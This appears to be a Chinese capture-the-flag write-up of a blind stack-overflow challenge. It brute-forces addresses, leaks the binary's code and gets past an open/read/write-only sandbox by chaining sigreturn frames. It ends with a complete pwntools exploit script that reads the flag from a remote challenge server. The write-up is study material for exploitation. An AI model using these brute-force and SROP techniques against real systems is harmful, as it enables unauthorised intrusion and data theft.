输入两下后结束猜测有两个read。一般的BROP是一个输入就比较好爆破返回地址两个的话不确定哪个read有溢出
结合本题SROP想了一会应该是第一个read输入SROP第二个read输入15个字节然后调用第一个SROP
猜测第一次和第二次输入的地址应该是一样的都是往一个buf里输入
先测试一下第一个read的rdx有多大正好有第二次输入当第一次输入到最大值溢出后就会放进第二次输入这样就可以测rdx多大 当输入0x400大小数据的时候还没有事可以进行第二次输入。输入0x401大小数据的时候溢出了一字节直接就进行了第二次输入程序直接结束了因此可以得知第一次执行了read(0, buf, 0x400)
第二次read的rdx暂时没法测默认和上面一样是read(0, buf, 0x400)
有了范围心里就有了点底0x400是一个很经典的SROP数基本可以确定是第一次SROP第二次输15个字节调用
之后需要知道需要多少字节溢出这样才能安放好SROP。要知道多少字节溢出就要先知道返回到哪里程序可以继续执行这样才有回显才知道ret成功了
有几个地方考虑main函数开始第一次read第二次read返回到这些地方程序都可以正常执行等待输入就有回显。我考虑跳到第一次read
但是程序地址不知道怎么办呢这需要一定的编题经验。像SROP类的题有的用纯汇编出题那么程序开始就可能是0x400000也有可能是0x401000前面没start那些东西所以直接从text段的页表开始就执行主程序。有的用内联汇编出题这种一般会往后延一点从0x4011XX左右开始执行前面执行start。还有可能用syscall函数出题read就是syscall(0, 0, buf, 0x400)。还有可能是用read函数出题的标准C程序。
我这里考虑连续调用了两个read再加上SROP需要syscall应该是利用syscall函数出的题 所以我编了一下程序我这里猜buf就直接是ret的地址即写即ret不过后来发现是错了问题不大。当然我这里没有定义好retaddr这个参数其实离rbp还有0x10字节距离我不懂怎么C语言直接ret懒得学 编成二进制程序 IDA里看长这个样 汇编中可以看到如果没开pie的话main函数开始的地址会是0x401169
这里题目如果要打BROP那么canary和pie都不能开
所以我从0x401100开始爆破实际上我也尝试了从0x401000和0x400000开始爆破无果
当程序ret的时候必定会ret到指定的ret_addr如果此时刚好在read前就会停下等待输入 此时输入一次看到是异常退出了 接下来参数拉大开始爆破 看到在这两个地方停下了等待输入。我猜应该这就分别是两个read前面小的地址应该是才开始第一次read 接下来试一下是不是还能再输入两次 发现只能输入一次这是怎么会事呢后来我又反复测了挺久发现不管怎样就是只能输一次似乎不能回到第一次read的时候了
后来想到可能第二次输入的rdx不是0x400毕竟只能确定第一次第二次一直不知道。如果第二次rdx是0x3ff那么输入0x400就会溢出一个字节这个字节在下一次来到第一次read的时候输入了进去之后来到了第二次read所以只能输入一次。
于是第二次只输入一字节 再次测试发现能输入两下了果然是第二次rdx和第一次不同并且可以通过这一点测出第二次read的rdx测得为0x30这个不是很重要
有了可以回显的返回地址就可以测需要多少字节溢出 8个字节8个字节地增加就好增加到0x28后发现有回显其他地方都没回显显然是溢出0x28后就到了ret 发现只能交互一次可能是rbp出错了 这样就没问题了。当然等会调用SROP的时候是不需要管rbp的这里只是read需要
SROP干什么呢第一件事是泄露程序逻辑需要知道程序在0x401200到0x401300这段期间干了什么知道程序干了什么就和有附件一样了
利用write(1, 0x401200, 0x100)就可以完成 这样就可以完成调用前提是知道syscall的地址那么还需要爆破
我一直猜他是通过syscall调用的read后来发现是直接调用read函数syscall是另外留在程序里的问题不大依然是从0x401200开始爆破 write函数不好回显这里用read如果跳到了syscall那么就可以调用成功read 发现到了0x4012c9的位置停下这里可能就是syscall 换成write 发现的确是syscallwrite成功。接下来程序已经相当于有了附件不需要爆破了
机器码不好看转换为汇编看来到https://shell-storm.org/online/Online-Assembler-and-Disassembler/ 把刚刚得到这一串扔进来 可以看到刚刚的c9位置是mov rbp, rsp下面调用了syscall所以其实刚刚的syscall还不是很标准的位置。为什么在c8的时候不行呢因为push rbp后下面就是ret也就是说通过rbp控制这里的ret刚刚rbp是8个A所以不行
下面的f2位置开始调用read我这里只泄露0x100看不了后面了实际上我当时泄露了0x200看了一眼后面和预期差不多没想到的是作者采用了read函数调用read
接下来我是想通过mprotect函数来提权写shellcode的但是发现一直调用失败猜想是不是只能orw后来发现真的是我一开始以为那个1f位置的是在setvbuf但是后来泄露了一下0x401100位置的值才发现早就setvbuf完了才明白这里是沙箱控制只能执行orw sigreturn这4个系统调用
那orw的话就需要连续执行SROP需要靠bss段 运用SROP往bss上写数据把read的地址写上去要不然等会orw不好read
先调用SROP的read写完后rsp为0x404520ret会pop rip也就会从0x404520这里拿数据拿到了read就会去执行read(0, rbp - 0x20, 0x400)这里rbp - 0x20也就是0x404600往这里面写入下一次需要的SROP 往0x404600写入数据等会rsp会移动到rbp的位置也就是0x404620也就是send中的syscall的位置由于下面的第二次read读入了15个字节会继续SROP同时写入./flag字符串在0x404600就可以执行open(‘./flag’, 0)
随后执行完SROPrsp为0x404528继续拿之前存的read的返回地址继续往0x404700这个rbp - 0x20的位置输入数据 read(3, 0x404100, 0x100)原理同上 write(1, 0x404100, 0x100)这时候就不需要控制rsp和rbp了因为不需要read等操作了
exp
from pwn import *context(arch amd64, log_level debug, os linux)io remote(nc1.ctfplus.cn, 45094)syscall 0x4012cc
read 0x4012f2frame SigreturnFrame()
frame.rax 0
frame.rdi 0
frame.rsi 0x404500
frame.rdx 0x100
frame.rsp 0x404520
frame.rbp 0x404620
frame.rip syscallio.send(bA * 0x20 p64(0) p64(syscall) bytes(frame))
sleep(0.1)
io.send(bA * 15)
sleep(0.1)io.send(bA * 0x20 p64(read) p64(read) p64(read))
sleep(0.1)frame SigreturnFrame()
frame.rax 2
frame.rdi 0x404600
frame.rsi 0
frame.rdx 0
frame.rsp 0x404528
frame.rbp 0x404720
frame.rip syscallio.send(bA * 0x20 p64(0) p64(syscall) bytes(frame))
sleep(0.1)
io.send(b./flag\x00\x00 bA * 7)frame SigreturnFrame()
frame.rax 0
frame.rdi 3
frame.rsi 0x404100
frame.rdx 0x100
frame.rsp 0x404530
frame.rbp 0x404620
frame.rip syscallio.send(bA * 0x20 p64(0) p64(syscall) bytes(frame))
sleep(0.1)
io.send(bA * 15)frame SigreturnFrame()
frame.rax 1
frame.rdi 1
frame.rsi 0x404100
frame.rdx 0x100
frame.rip syscallio.send(bA * 0x20 p64(0) p64(syscall) bytes(frame))
sleep(0.1)
io.send(bA * 15)io.interactive()
- 上一篇: 全屏的网站大学生网页设计大赛作品
- 下一篇: 全屏网站 图片优化学习网站开发技术
相关文章
-
全屏的网站大学生网页设计大赛作品
全屏的网站大学生网页设计大赛作品
- 技术栈
- 2026年03月21日
-
全屏 网站 代码网站建设 长摊 无形资产
全屏 网站 代码网站建设 长摊 无形资产
- 技术栈
- 2026年03月21日
-
全能优化型网站wordpress图片模糊
全能优化型网站wordpress图片模糊
- 技术栈
- 2026年03月21日
-
全屏网站 图片优化学习网站开发技术
全屏网站 图片优化学习网站开发技术
- 技术栈
- 2026年03月21日
-
全屏网站表现形式怎么做移动网站
全屏网站表现形式怎么做移动网站
- 技术栈
- 2026年03月21日
-
全屏网站是什么意思杭州建设网页
全屏网站是什么意思杭州建设网页
- 技术栈
- 2026年03月21日






